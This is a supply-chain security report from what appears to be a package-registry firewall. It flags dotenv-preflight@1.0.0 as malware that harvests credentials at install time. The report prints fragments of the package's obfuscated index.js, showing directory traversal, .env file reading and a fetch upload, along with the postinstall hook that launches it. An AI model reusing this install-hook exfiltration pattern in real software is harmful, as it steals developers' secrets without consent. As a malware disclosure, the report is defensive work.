registry / Credential exfiltration / dotenv-preflight
dotenv-preflight
Runs dotenv preflight checks at install time
This report shows the evidence for dotenv-preflight@1.0.0, the only known version.
AI Security Review
scanned 24d ago · by lpm-firewall-aiThis is concrete automatic credential harvesting and data exfiltration during installation, concealed by heavy obfuscation. It is unrelated to a legitimate dotenv preflight check.
Static reason
One or more suspicious static signals were detected.
Trigger
Installing the package triggers postinstall.
Impact
Environment secrets and other detected credentials can be exposed to an external recipient without user consent.
Mechanism
The obfuscated script traverses directories, reads .env files, collects values, and uses fetch to submit a JSON report and uploaded data.
Attack narrative
On installation, the postinstall hook launches an obfuscated script. It walks local directories, captures .env content, extracts credential-like values, and packages the collected report for fetch-based transmission. The endpoint is assembled through obfuscated strings, preventing a transparent destination review.
AI rationale
This is concrete automatic credential harvesting and data exfiltration during installation, concealed by heavy obfuscation. It is unrelated to a legitimate dotenv preflight check.
Evidence
package.jsonindex.js
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs index.js automatically in a postinstall hook.
- The obfuscated entrypoint recursively enumerates files and reads .env files.
- It stores .env content and extracts secret-like values during the scan.
- It sends collected data through fetch, including a JSON file upload.
Evidence against
Behavioral surface
DynamicRequireFilesystem
HighEntropyStringsMinifiedObfuscatedTrivial
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg5"main": "index.js",
"scripts": {
"postinstall": "node index.js"
},
"ke
High
Suspicious Lifecycle Evidence
The package runs index.js automatically in a postinstall hook.
package.jsonView on unpkg · L5index.jsView file
1const _0x351140=_0x3c20;(function(_0x3256d4,_0x3de8a6){const _0x2a9875=_0x3c20,_0x4d88e3=_0x3256d4();while(!![]){try{const _0x48f13c=-parseInt(_0x2a9875(0x273))/0x1*(-parseInt(_0x2...
High
Obfuscated Payload Loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
index.jsView on unpkg · L11f84a);},'UrDMy':function(_0x361768,_0x40fe6b){return _0x361768+_0x40fe6b;},'zrwBZ':function(_0x1d5172,_0x112768){return _0x1d5172(_0x112768);},'RHXOr':function(_0x33bcf5,_0x111183,_0x5a28c2){return _0x33bcf5(_0x111183,_0x5a28c2);}};if(_0x402d72>0xa)return;let _0x2b6141;try{_0x2b6141=_0x141b6a[_0x5e7c30(0x247)](_0x48e7ed,{'withFileTypes':!![]});}catch{return;}_0x286dab++;for(const _0xe48e5d of _0x2b6141){const _0x31a0c6=_0x598d
High
Ai Review Evidence
The obfuscated entrypoint recursively enumerates files and reads .env files.
index.jsView on unpkg · L113844[_0x5e7c30(0x1e2)](_0x402d72,0x1));}else{if(_0xe48e5d[_0x5e7c30(0x1d6)]()){const _0x25121b=_0x183844[_0x5e7c30(0x217)](_0x16f14f,_0x31a0c6);if(!_0x25121b)continue;_0x12f32b++,/^\.env/[_0x5e7c30(0x1fa)](_0xe48e5d[_0x5e7c30(0x1dd)])&&_0x5dcd03[_0x5e7c30(0x201)][_0x5e7c30(0x242)]({'file':_0x31a0c6,'content':_0x25121b[_0x5e7c30(0x1e1)](0x0,0x1388)}),_0x183844[_0x5e7c30(0x1f4)](_0x33b1f7,_0x25121b,_0x31a0c6),_0x183844[_0x5e7c30(0x25c)](_0xd7f1c8,_0x25121b,_0x31a0c6),_0x183844[_0x5e7c30(0x1f4)](_0x4247ab,_0x25121b,_0x31a0c6);}}}catch{}}}_0x197db3[_0x351140(0x211)](_
High
Ai Review Evidence
It stores .env content and extracts secret-like values during the scan.
index.jsView on unpkg · L11(fetch,_0xcfff04[_0x1bedb8(0x279)](_0xcfff04[_0x1bedb8(0x279)](_0xcfff04[_0x1bedb8(0x1e7)](_0x1bedb8(0x230),_0x52e0f7)+_0xcfff04[_0x1bedb8(0x21d)],_0x4efb0c)+'/',_0x1fb2ef),{'method':_0xcfff04[_0x1bedb8(0x274)],'headers':{'Content-Type':_0x1bedb8(0x251)},'body':JSON[_0x1bedb8(0x275)](_0x4ea2a3)});}((async()=>{const _0x3987c7=_0x351140,_0x5978fe={'zmfmQ':function(_0x146a5a,_0x4a60e0){return _0x146a5a(_0x4a60e0);},'BawrN':function(_0x337064,_0x1dac
High
Ai Review Evidence
It sends collected data through fetch, including a JSON file upload.
index.jsView on unpkg · L11const _0x351140=_0x3c20;(function(_0x3256d4,_0x3de8a6){const _0x2a9875=_0x3c20,_0x4d88e3=_0x3256d4();while(!![]){try{const _0x48f13c=-parseInt(_0x2a9875(0x273))/0x1*(-parseInt(_0x2...
Medium
Findings
7 High2 Medium3 Low
HighInstall Time Lifecycle Scriptspackage.json
HighObfuscated Payload Loaderindex.js
HighObfuscated
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumDynamic Requireindex.js
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to dotenv-preflight@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing dotenv-preflight@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.